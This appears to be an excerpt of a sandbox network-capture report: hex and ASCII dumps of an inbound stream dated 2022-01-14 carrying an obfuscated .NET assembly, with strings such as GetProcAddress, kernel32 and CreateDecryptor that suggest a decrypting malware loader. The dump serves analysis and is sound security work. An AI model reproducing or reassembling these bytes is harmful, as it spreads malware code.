ff ff 26 20 29 00 00 00 38 0e e6 ff ff 11 0b 17 58 13 0b 20 ce 00 00 00 38 fe e5 ff ff 20 b0 00 00 00 20 38 00 00 00 59 Data Ascii: & 8 IY) _8 ) e8 8Y +(s:& 8 (s:q& 8f e >X) (s9H& 8= DY (t9& )8X 8 8Y
2022-01-14 01:04:32 UTC	46	IN	Data Raw: 95 e1 ff ff 20 d5 00 00 00 20 47 00 00 00 59 fe 0e 29 00 20 0a 00 00 00 28 74 01 00 06 3a 77 e1 ff ff 26 20 0c 00 00 00 38 6c e1 ff ff fe 0c 11 00 20 05 00 00 00 20 96 00 00 00 20 32 00 00 00 59 9c 20 79 01 00 00 38 4d e1 ff ff 20 28 00 00 00 20 04 00 00 00 59 fe 0e 28 00 20 aa 00 00 00 38 34 e1 ff ff fe 0c 11 00 20 0c 00 00 00 fe 0c 28 00 9c 20 44 00 00 00 38 1c e1 ff ff 16 13 03 20 45 00 00 00 38 0f e1 ff ff 20 81 00 00 00 20 2b 00 00 00 59 fe 0e 28 00 20 82 00 00 00 28 73 01 00 06 3a f1 e0 ff ff 26 20 0f 00 00 00 38 e6 e0 ff ff fe 0c 11 00 20 0c 00 00 00 20 5b 00 00 00 20 14 00 00 00 58 9c 20 84 00 00 00 38 c7 e0 ff ff fe 0c 0e 00 20 1f 00 00 00 fe 0c 29 00 9c 20 73 01 00 00 38 af e0 ff ff 20 66 00 00 00 20 2d 00 00 00 59 fe 0e 29 00 20 8a 00 00 00 28 Data Ascii: GY) (t:w& 8l 2Y y8M ( Y( 84 ( D8 E8 +Y( (s:& 8 [ X 8 ) s8 f -Y) (
2022-01-14 01:04:32 UTC	47	IN	Data Raw: 00 59 9c 20 33 01 00 00 38 33 dc ff ff 20 19 00 00 00 20 5b 00 00 00 58 fe 0e 29 00 20 5e 01 00 00 38 1a dc ff ff 11 1c 11 1f 11 07 20 ff 00 00 00 5f d2 9c 20 4a 01 00 00 38 02 dc ff ff 11 21 73 21 00 00 0a 16 73 ca 00 00 0a 13 15 20 2f 00 00 00 38 e9 db ff ff fe 0c 0e 00 20 08 00 00 00 fe 0c 29 00 9c 20 bc 00 00 00 38 d1 db ff ff fe 0c 0e 00 20 0b 00 00 00 fe 0c 29 00 9c 20 9f 00 00 00 28 74 01 00 06 39 b4 db ff ff 26 20 0c 00 00 00 38 a9 db ff ff 20 01 00 00 00 13 0a 20 4d 00 00 00 fe 0e 20 00 38 90 db ff ff fe 0c 0e 00 20 1a 00 00 00 20 02 00 00 00 20 66 00 00 00 58 9c 20 3c 00 00 00 38 75 db ff ff 20 93 00 00 00 20 31 00 00 00 59 fe 0e 29 00 20 57 00 00 00 28 73 01 00 06 3a 57 db ff ff 26 20 32 00 00 00 38 4c db ff ff fe 0c 0e 00 20 0d 00 00 00 fe 0c Data Ascii: Y 383 [X) ^8 _ J8!s!s /8 ) 8 ) (t9& 8 M 8 fX <8u 1Y) W(s:W& 28L
2022-01-14 01:04:32 UTC	48	IN	Data Raw: 28 73 01 00 06 3a dd d6 ff ff 26 20 24 00 00 00 38 d2 d6 ff ff 20 7b 00 00 00 20 7b 00 00 00 59 fe 0e 29 00 20 6a 00 00 00 fe 0e 20 00 38 b1 d6 ff ff fe 0c 11 00 20 0e 00 00 00 20 d7 00 00 00 20 47 00 00 00 59 9c 20 86 00 00 00 38 96 d6 ff ff fe 0c 0e 00 20 18 00 00 00 fe 0c 29 00 9c 20 3b 01 00 00 28 74 01 00 06 39 79 d6 ff ff 26 20 4e 00 00 00 38 6e d6 ff ff fe 0c 0e 00 20 15 00 00 00 20 be 00 00 00 20 3f 00 00 00 59 9c 20 82 00 00 00 28 73 01 00 06 39 4a d6 ff ff 26 20 ac 00 00 00 38 3f d6 ff ff 20 80 00 00 00 20 73 00 00 00 58 fe 0e 29 00 20 7d 00 00 00 38 26 d6 ff ff 11 25 28 6f 01 00 06 28 6c 01 00 06 80 77 00 00 04 20 e9 00 00 00 38 0b d6 ff ff 38 bf de ff ff 20 95 00 00 00 38 fc d5 ff ff fe 0c 0e 00 20 1b 00 00 00 20 8d 00 00 00 20 2f 00 00 00 59 Data Ascii: (s:& $8 { {Y) j 8 GY 8 ) ;(t9y& N8n ?Y (s9J& 8? sX) }8&%(o(lw 88 8 /Y
2022-01-14 01:04:32 UTC	50	IN	Data Raw: 0e 01 00 00 38 85 d1 ff ff 17 80 78 00 00 04 20 a7 00 00 00 38 75 d1 ff ff fe 0c 0e 00 20 01 00 00 00 fe 0c 29 00 9c 20 73 00 00 00 28 73 01 00 06 3a 58 d1 ff ff 26 20 2e 00 00 00 38 4d d1 ff ff fe 0c 0e 00 20 03 00 00 00 fe 0c 29 00 9c 20 b3 00 00 00 fe 0e 20 00 38 2d d1 ff ff 20 49 00 00 00 20 0a 00 00 00 58 fe 0e 29 00 20 6e 00 00 00 28 74 01 00 06 39 13 d1 ff ff 26 20 0b 00 00 00 38 08 d1 ff ff 11 2a 11 03 58 13 2a 20 19 01 00 00 28 73 01 00 06 3a f2 d0 ff ff 26 20 88 00 00 00 38 e7 d0 ff ff d0 29 00 00 02 28 66 01 00 06 6f 24 00 00 0a 72 13 12 00 70 28 67 01 00 06 73 39 01 00 06 13 13 20 1c 01 00 00 28 73 01 00 06 3a b8 d0 ff ff 26 20 36 00 00 00 38 ad d0 ff ff fe 0c 11 00 20 04 00 00 00 fe 0c 28 00 9c 20 71 01 00 00 fe 0e 20 00 38 8d d0 ff ff 20 b1 Data Ascii: 8x 8u ) s(s:X& .8M ) 8- I X) n(t9& 8X (s:& 8)(fo$rp(gs9 (s:& 68 ( q 8
2022-01-14 01:04:32 UTC	51	IN	Data Raw: 20 d4 00 00 00 20 46 00 00 00 59 9c 20 33 00 00 00 fe 0e 20 00 38 17 cc ff ff fe 0c 11 00 20 0e 00 00 00 fe 0c 28 00 9c 20 6b 01 00 00 28 74 01 00 06 39 fe cb ff ff 26 20 3d 00 00 00 38 f3 cb ff ff fe 0c 11 00 20 00 00 00 00 20 9f 00 00 00 20 35 00 00 00 59 9c 20 1d 00 00 00 28 73 01 00 06 39 cf cb ff ff 26 20 a9 00 00 00 38 c4 cb ff ff 20 e7 00 00 00 20 4d 00 00 00 59 fe 0e 28 00 20 5d 00 00 00 28 73 01 00 06 3a a6 cb ff ff 26 20 0a 00 00 00 38 9b cb ff ff 11 05 16 3e c8 d5 ff ff 20 87 00 00 00 38 89 cb ff ff 20 9d 00 00 00 20 34 00 00 00 59 fe 0e 28 00 20 72 00 00 00 28 73 01 00 06 39 6b cb ff ff 26 20 fc 00 00 00 38 60 cb ff ff 20 5e 00 00 00 20 2f 00 00 00 58 fe 0e 29 00 20 20 00 00 00 38 47 cb ff ff fe 0c 0e 00 20 08 00 00 00 20 9c 00 00 00 20 34 00 Data Ascii: FY 3 8 ( k(t9& =8 5Y (s9& 8 MY( ](s:& 8> 8 4Y( r(s9k& 8` ^ /X) 8G 4
2022-01-14 01:04:32 UTC	52	IN	Data Raw: 00 0a 6f d3 00 00 0a 28 5e 01 00 06 2a 00 5e 7e 79 00 00 04 3a 0c 00 00 00 17 80 79 00 00 04 73 63 01 00 06 26 2a 7a 16 8d 08 00 00 01 80 76 00 00 04 14 80 77 00 00 04 16 80 78 00 00 04 16 80 79 00 00 04 2a 00 2e 00 fe 09 00 00 28 23 00 00 0a 2a 3a fe 09 00 00 fe 09 01 00 6f 3b 00 00 0a 2a 00 2a fe 09 00 00 6f 3a 01 00 06 2a 00 3a fe 09 00 00 fe 09 01 00 6f 37 00 00 0a 2a 00 2a fe 09 00 00 6f 3d 00 00 0a 2a 00 3a fe 09 00 00 fe 09 01 00 6f 3b 01 00 06 2a 00 2e 00 fe 09 00 00 28 7d 01 00 06 2a 3a fe 09 00 00 fe 09 01 00 6f d4 00 00 0a 2a 00 2a fe 09 00 00 6f 85 00 00 0a 2a 00 2a fe 09 00 00 6f 86 00 00 0a 2a 00 2a fe 09 00 00 6f d5 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 7e 01 00 06 2a 2a fe 09 00 00 6f cd 00 00 0a 2a 00 16 14 14 fe 01 2a 00 00 0a Data Ascii: o(^^~y:ysc&zvwxy.(#:o;*o::o7*o=:o;.(}:ooo*o>(~o
2022-01-14 01:04:32 UTC	54	IN	Data Raw: 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 02 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 Data Ascii: 000000*00000*0000
2022-01-14 01:04:32 UTC	58	IN	Data Raw: 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 22 00 14 a5 13 00 00 01 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 22 00 14 a5 13 00 00 01 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 Data Ascii: ***(0"**00**("0****
2022-01-14 01:04:32 UTC	62	IN	Data Raw: 00 00 00 3a 0e 03 0e 00 0e 01 0e 02 6f 33 05 00 06 2a 00 42 28 a9 00 00 06 d0 93 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 37 05 00 06 2a 00 42 28 a9 00 00 06 d0 94 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 3b 05 00 06 2a 00 42 28 a9 00 00 06 d0 95 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 3f 05 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 96 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 43 05 00 06 2a 00 42 28 a9 00 00 06 d0 97 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 47 05 00 06 2a 00 42 28 a9 00 00 06 d0 98 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 4b 05 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 99 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 4f 05 00 06 2a 00 42 28 a9 00 Data Ascii: :o3B((o7B((*o;B((2o?B((*oCB((*oGB((2oKB((*oOB(
2022-01-14 01:04:32 UTC	66	IN	Data Raw: 00 00 2d 00 1b 00 63 00 02 01 00 00 e8 04 00 00 2d 00 1b 00 68 00 02 01 00 00 3c 05 00 00 2d 00 1b 00 6d 00 02 01 00 00 a7 05 00 00 2d 00 1b 00 72 00 02 01 00 00 ba 05 00 00 2d 00 1b 00 77 00 11 01 00 00 f0 05 00 00 31 00 1b 00 7c 00 11 01 00 00 28 06 00 00 31 00 1e 00 7c 00 11 01 00 00 72 06 00 00 31 00 20 00 7c 00 11 01 00 00 ac 06 00 00 31 00 21 00 7c 00 11 01 00 00 dc 06 00 00 31 00 24 00 7c 00 11 01 00 00 0b 07 00 00 31 00 29 00 7c 00 09 01 00 00 48 07 00 00 31 00 2c 00 7c 00 09 01 01 00 7d 07 00 00 31 00 30 00 7c 00 01 01 00 00 8f 07 00 00 29 00 42 00 7c 00 00 01 00 00 d6 07 00 00 29 00 44 00 82 00 13 01 00 00 f5 07 00 00 31 00 45 00 83 00 00 00 00 00 16 08 00 00 29 00 45 00 83 00 00 00 00 00 45 08 58 08 29 00 45 00 84 00 05 01 00 00 6b 08 00 00 2d Data Ascii: -c-h<-m-r-w1\|(1\|r1 \|1!\|1$\|1)\|H1,\|}10\|)B\|)D1E)EEX)Ek-
2022-01-14 01:04:32 UTC	70	IN	Data Raw: 15 01 00 c1 57 e3 15 11 00 cc 57 51 12 06 06 69 3c 75 05 36 00 f6 3f 70 0e 16 00 ec 3f 66 0e 11 00 5c 58 ec 01 33 01 98 58 04 16 33 01 d9 58 09 16 33 01 1a 59 0e 16 33 01 5b 59 e9 01 33 01 9c 59 13 16 33 01 dd 59 18 16 33 01 1e 5a 09 16 33 01 5f 5a 1d 16 33 01 a0 5a 22 16 13 00 e1 5a 75 05 13 00 04 5b 75 05 13 00 27 5b 75 05 13 00 4a 5b 75 05 13 00 6d 5b 75 05 13 00 90 5b 75 05 13 00 b3 5b 75 05 13 00 d6 5b 75 05 13 00 f9 5b 75 05 13 00 1c 5c 75 05 13 00 3f 5c 75 05 13 00 62 5c 75 05 13 00 85 5c 75 05 13 00 a8 5c 75 05 13 00 cb 5c 75 05 13 00 ee 5c 75 05 13 00 11 5d 75 05 13 00 34 5d 75 05 13 00 57 5d 75 05 13 00 7a 5d 75 05 13 00 9d 5d 75 05 13 00 c0 5d 75 05 13 00 e3 5d 75 05 13 00 06 5e 75 05 13 00 29 5e 75 05 13 00 4c 5e 75 05 13 00 6f 5e 75 05 13 00 Data Ascii: WWQi<u6?p?f\X3X3X3Y3[Y3Y3Y3Z3_Z3Z"Zu[u'[uJ[um[u[u[u[u[u\u?\ub\u\u\u\u\u]u4]uW]uz]u]u]u]u^u)^uL^uo^u
2022-01-14 01:04:32 UTC	74	IN	Data Raw: 00 00 08 00 93 00 2a 31 51 0a 1b 01 b8 a9 00 00 08 00 93 00 49 31 63 08 1b 01 c8 a9 00 00 08 00 93 00 5d 31 69 08 1b 01 d8 a9 00 00 08 00 93 00 71 31 82 08 1b 01 ec a9 00 00 08 00 93 00 85 31 89 08 1b 01 00 aa 00 00 08 00 93 00 99 31 57 0a 1b 01 14 aa 00 00 08 00 93 00 b8 31 74 08 1b 01 20 aa 00 00 08 00 93 00 cc 31 5e 0a 1b 01 38 aa 00 00 08 00 93 00 e0 31 37 01 1b 01 40 aa 00 00 08 00 93 00 f4 31 66 0a 1b 01 48 aa 00 00 08 00 93 00 1a 32 75 09 1b 01 54 aa 00 00 08 00 93 00 3d 32 76 0a 1b 01 60 aa 00 00 08 00 93 00 61 32 7b 0a 1b 01 74 aa 00 00 08 00 93 00 75 32 d6 09 1d 01 84 aa 00 00 08 00 93 00 97 32 37 01 1d 01 8c aa 00 00 08 00 93 00 ab 32 5f 08 1d 01 94 aa 00 00 08 00 93 00 bf 32 82 0a 1d 01 a4 aa 00 00 08 00 93 00 d3 32 92 0a 1d 01 b4 aa 00 00 08 Data Ascii: *1QI1c]1iq111W1t 1^817@1fH2uT=2v`a2{tu2272_22
2022-01-14 01:04:32 UTC	78	IN	Data Raw: 00 08 00 93 00 4e 45 c8 0a eb 01 00 f0 00 00 08 00 93 00 62 45 a8 0a eb 01 08 f0 00 00 08 00 93 00 76 45 a8 0a eb 01 10 f0 00 00 00 00 91 18 0f 17 37 01 eb 01 18 f0 00 00 08 00 c3 02 f3 40 fe 0e eb 01 20 f0 00 00 08 00 c3 02 fe 40 fe 0e ec 01 28 f0 00 00 08 00 86 18 54 00 09 07 ed 01 30 f0 00 00 08 00 86 18 54 00 ac 0f ee 01 40 f0 00 00 08 00 c6 00 09 41 11 0f ef 01 48 f0 00 00 08 00 86 18 54 00 b3 0f ef 01 50 f0 00 00 08 00 86 18 54 00 bb 0f f1 01 58 f0 00 00 08 00 86 18 54 00 c0 0f f2 01 60 f0 00 00 08 00 c6 00 14 41 7e 01 f4 01 68 f0 00 00 08 00 c6 00 1f 41 7e 01 f4 01 70 f0 00 00 08 00 c6 00 2a 41 32 0f f4 01 80 f0 00 00 08 00 c3 02 35 41 41 0f f5 01 90 f0 00 00 08 00 83 00 0c 46 41 0f f6 01 a0 f0 00 00 08 00 c6 00 4b 41 56 0f f7 01 a8 f0 00 00 08 00 Data Ascii: NEbEvE7@ @(T0T@AHTPTXT`A~hA~p*A25AAFAKAV
2022-01-14 01:04:32 UTC	82	IN	Data Raw: 08 00 c3 02 ee 48 7e 01 65 02 14 fa 00 00 08 00 84 18 54 00 d7 00 65 02 1c fa 00 00 08 00 93 00 f9 48 45 01 65 02 24 fa 00 00 08 00 93 00 0d 49 0a 10 65 02 2c fa 00 00 00 00 91 18 0f 17 37 01 65 02 34 fa 00 00 08 00 c3 02 f3 40 fe 0e 65 02 3c fa 00 00 08 00 c3 02 fe 40 fe 0e 66 02 44 fa 00 00 08 00 86 18 54 00 18 10 67 02 4c fa 00 00 08 00 86 18 54 00 1d 10 68 02 5c fa 00 00 08 00 c6 00 09 41 11 0f 69 02 64 fa 00 00 08 00 86 18 54 00 24 10 69 02 6c fa 00 00 08 00 86 18 54 00 2c 10 6b 02 74 fa 00 00 08 00 86 18 54 00 31 10 6c 02 7c fa 00 00 08 00 c6 00 14 41 7e 01 6e 02 84 fa 00 00 08 00 c6 00 1f 41 7e 01 6e 02 8c fa 00 00 08 00 c6 00 f1 2e 08 02 6e 02 94 fa 00 00 08 00 c6 00 2a 41 32 0f 6e 02 a4 fa 00 00 08 00 c3 02 35 41 41 0f 6f 02 b4 fa 00 00 08 00 c6 Data Ascii: H~eTeHEe$Ie,7e4@e<@fDTgLTh\AidT$ilT,ktT1l\|A~nA~n.n*A2n5AAo
2022-01-14 01:04:32 UTC	86	IN	Data Raw: 00 93 00 cd 55 c3 0a 13 03 2c 07 01 00 08 00 91 18 0f 17 37 01 13 03 4c 07 01 00 08 00 86 18 54 00 d7 00 13 03 54 07 01 00 08 00 83 00 ff 55 79 0e 13 03 5c 07 01 00 08 00 93 00 0e 56 45 01 15 03 64 07 01 00 08 00 93 00 22 56 6f 15 15 03 6c 07 01 00 08 00 93 00 36 56 37 01 15 03 74 07 01 00 08 00 86 18 54 00 d7 00 15 03 7c 07 01 00 08 00 83 00 69 56 7e 01 15 03 84 07 01 00 08 00 83 00 74 56 7e 01 15 03 8c 07 01 00 08 00 83 00 7f 56 7e 01 15 03 94 07 01 00 08 00 83 00 8a 56 7e 01 15 03 9c 07 01 00 08 00 83 00 95 56 7e 01 15 03 a4 07 01 00 08 00 83 00 a0 56 7e 01 15 03 ac 07 01 00 08 00 c3 03 c9 4a 7e 01 15 03 b4 07 01 00 08 00 c3 03 3e 47 7e 01 15 03 00 00 00 00 00 00 c3 07 fe 40 fe 0e 15 03 bc 07 01 00 08 00 c3 03 ee 48 7e 01 16 03 c4 07 01 00 08 00 83 18 Data Ascii: U,7LTTUy\VEd"Vol6V7tT\|iV~tV~V~V~V~V~J~>G~@H~
2022-01-14 01:04:32 UTC	90	IN	Data Raw: 06 18 54 00 65 01 31 03 ac 11 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 22 1b 31 03 c0 11 01 00 08 00 16 00 f5 68 2a 1b 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 d0 11 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 3a 1b 31 03 e4 11 01 00 08 00 16 00 f5 68 42 1b 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 f4 11 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 52 1b 31 03 08 12 01 00 08 00 16 00 f5 68 5a 1b 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 18 12 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 6a 1b 31 03 2c 12 01 00 08 00 16 00 f5 68 72 1b 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 3c 12 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 Data Ascii: Te171F$"1h*1Te171F$:1hB1Te171F$R1hZ1Te171F$j1,hr1Te1<71F$
2022-01-14 01:04:32 UTC	95	IN	Data Raw: 00 03 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 04 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 04 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 04 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 20 04 00 dd 29 00 00 05 00 dd 29 00 00 06 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 04 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 03 00 03 00 dd 29 00 00 04 00 dd 29 02 00 05 00 Data Ascii: )))))))))))))))))))))) ))))))))))))))))))))
2022-01-14 01:04:32 UTC	98	IN	Data Raw: dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 10 10 03 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 0a 56 00 00 02 00 0c 56 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 Data Ascii: ))))))))))))))))))))))))))))))))))VV)))))))
2022-01-14 01:04:32 UTC	102	IN	Data Raw: 00 10 00 0e 00 11 00 0e 00 12 00 0e 00 13 00 0e 00 14 00 0e 00 15 00 0e 00 16 00 0e 00 17 00 0e 00 18 00 0e 00 19 00 0e 00 1a 00 0e 00 25 00 24 00 28 00 27 00 2a 00 29 00 2b 00 29 00 2c 00 2b 00 2d 00 29 00 2e 00 29 00 2f 00 29 00 30 00 29 00 31 00 29 00 32 00 29 00 33 00 29 00 34 00 29 00 35 00 29 00 36 00 29 00 37 00 29 00 38 00 29 00 3b 00 3a 00 3c 00 3a 00 3e 00 3d 00 3f 00 3d 00 40 00 3d 00 41 00 3d 00 42 00 3d 00 43 00 3d 00 44 00 3d 00 45 00 3d 00 46 00 3d 00 47 00 3d 00 48 00 3d 00 49 00 3d 00 4a 00 3d 00 4b 00 3d 00 4c 00 3d 00 4d 00 3d 00 4e 00 3d 00 4f 00 3d 00 50 00 3d 00 51 00 3d 00 52 00 3d 00 53 00 3d 00 54 00 3d 00 55 00 3d 00 56 00 3d 00 57 00 3d 00 58 00 3d 00 59 00 3d 00 5a 00 3d 00 5b 00 3d 00 5c 00 5b 00 5d 00 3d 00 5e 00 3d 00 5f 00 Data Ascii: %$('*)+),+-).)/)0)1)2)3)4)5)6)7)8);:<:>=?=@=A=B=C=D=E=F=G=H=I=J=K=L=M=N=O=P=Q=R=S=T=U=V=W=X=Y=Z=[=\[]=^=_
2022-01-14 01:04:32 UTC	106	IN	Data Raw: 58 49 46 6a 6f 41 72 55 4b 73 00 59 75 62 65 6e 39 71 51 4f 79 43 49 39 4d 35 64 66 31 00 63 62 69 4b 53 31 66 4e 64 4c 59 32 33 61 32 30 64 62 00 6a 36 68 69 66 5a 64 43 4c 35 4e 6c 41 38 50 79 76 63 00 4f 74 39 42 74 50 62 4d 4a 5a 69 72 6b 30 49 79 6b 77 00 43 78 30 58 58 68 6d 45 47 38 44 38 69 56 54 43 37 75 00 6a 4f 61 69 51 42 53 4c 6b 4c 55 55 52 6f 62 6a 55 64 00 41 75 39 31 67 39 4d 43 4b 44 62 47 43 6f 78 47 34 47 00 42 4a 53 50 75 79 39 6e 67 53 53 45 44 70 59 70 33 55 00 77 39 78 75 6c 5a 33 58 39 64 77 66 59 37 34 73 44 49 00 54 43 42 46 75 55 54 70 48 66 54 44 5a 78 54 78 49 4b 00 6f 79 4a 70 59 47 32 77 63 53 51 4e 61 78 43 6c 4e 54 00 74 48 30 45 64 75 65 31 6a 38 4a 76 46 31 4f 31 4d 33 00 76 57 30 63 62 79 42 48 75 67 41 5a 46 69 65 38 Data Ascii: XIFjoArUKsYuben9qQOyCI9M5df1cbiKS1fNdLY23a20dbj6hifZdCL5NlA8PyvcOt9BtPbMJZirk0IykwCx0XXhmEG8D8iVTC7ujOaiQBSLkLUURobjUdAu91g9MCKDbGCoxG4GBJSPuy9ngSSEDpYp3Uw9xulZ3X9dwfY74sDITCBFuUTpHfTDZxTxIKoyJpYG2wcSQNaxClNTtH0Edue1j8JvF1O1M3vW0cbyBHugAZFie8
2022-01-14 01:04:32 UTC	110	IN	Data Raw: 00 46 72 65 65 4c 69 62 72 61 72 79 00 68 4d 6f 64 75 6c 65 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 70 72 6f 63 4e 61 6d 65 00 6b 65 72 6e 65 6c 33 32 00 72 6f 74 69 64 45 74 6e 65 6e 6f 70 6d 6f 43 6c 65 64 6f 4d 74 6e 65 6e 6f 70 6d 6f 43 6d 65 74 73 79 53 31 30 30 32 37 00 58 57 33 56 74 6f 67 48 71 48 65 6b 6b 64 58 35 6f 6f 33 00 61 72 67 00 74 6e 65 6d 65 6c 45 6e 6f 69 73 73 65 53 65 6c 62 61 69 6c 65 52 6e 6f 69 74 61 72 75 67 69 66 6e 6f 43 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 36 38 31 38 31 00 65 63 69 76 72 65 53 72 65 65 50 73 6c 65 6e 6e 61 68 43 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 34 33 34 35 37 00 72 6f 72 72 45 65 6c 69 70 6d 6f 43 79 72 65 75 51 72 65 68 63 74 61 70 73 69 44 6c 65 64 6f 4d 65 63 Data Ascii: FreeLibraryhModuleGetProcAddressprocNamekernel32rotidEtnenopmoCledoMtnenopmoCmetsyS10027XW3VtogHqHekkdX5oo3argtnemelEnoisseSelbaileRnoitarugifnoCledoMecivreSmetsyS68181ecivreSreePslennahCledoMecivreSmetsyS43457rorrEelipmoCyreuQrehctapsiDledoMec
2022-01-14 01:04:32 UTC	114	IN	Data Raw: 46 00 46 69 6c 65 53 74 72 65 61 6d 00 46 69 6c 65 4d 6f 64 65 00 46 69 6c 65 41 63 63 65 73 73 00 46 69 6c 65 53 68 61 72 65 00 6c 6b 70 36 39 71 5a 47 63 00 4e 69 58 54 41 32 48 58 37 00 54 6f 41 72 72 61 79 00 73 31 46 65 43 49 54 44 67 00 73 65 74 5f 4b 65 79 00 73 65 74 5f 49 56 00 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 57 72 69 74 65 00 7a 6c 58 58 6f 63 43 6c 69 00 67 65 74 5f 4f 66 66 73 65 74 54 6f 53 74 72 69 6e 67 44 61 74 61 00 77 4e 31 63 64 52 79 54 53 00 53 74 61 72 74 73 57 69 74 68 00 67 65 74 5f 43 68 61 72 73 00 4d 71 55 4b 55 67 6a 62 45 00 72 74 36 73 58 58 68 65 31 00 61 44 4b 71 78 59 71 5a 6f 00 4b 34 79 78 4c 4a 72 74 4b 00 75 76 4b 79 64 42 6a 76 34 00 75 33 54 47 46 51 42 65 78 00 6d 66 76 42 64 70 68 58 79 00 76 53 33 Data Ascii: FFileStreamFileModeFileAccessFileSharelkp69qZGcNiXTA2HX7ToArrays1FeCITDgset_Keyset_IVCreateDecryptorWritezlXXocCliget_OffsetToStringDatawN1cdRyTSStartsWithget_CharsMqUKUgjbErt6sXXhe1aDKqxYqZoK4yxLJrtKuvKydBjv4u3TGFQBexmfvBdphXyvS3
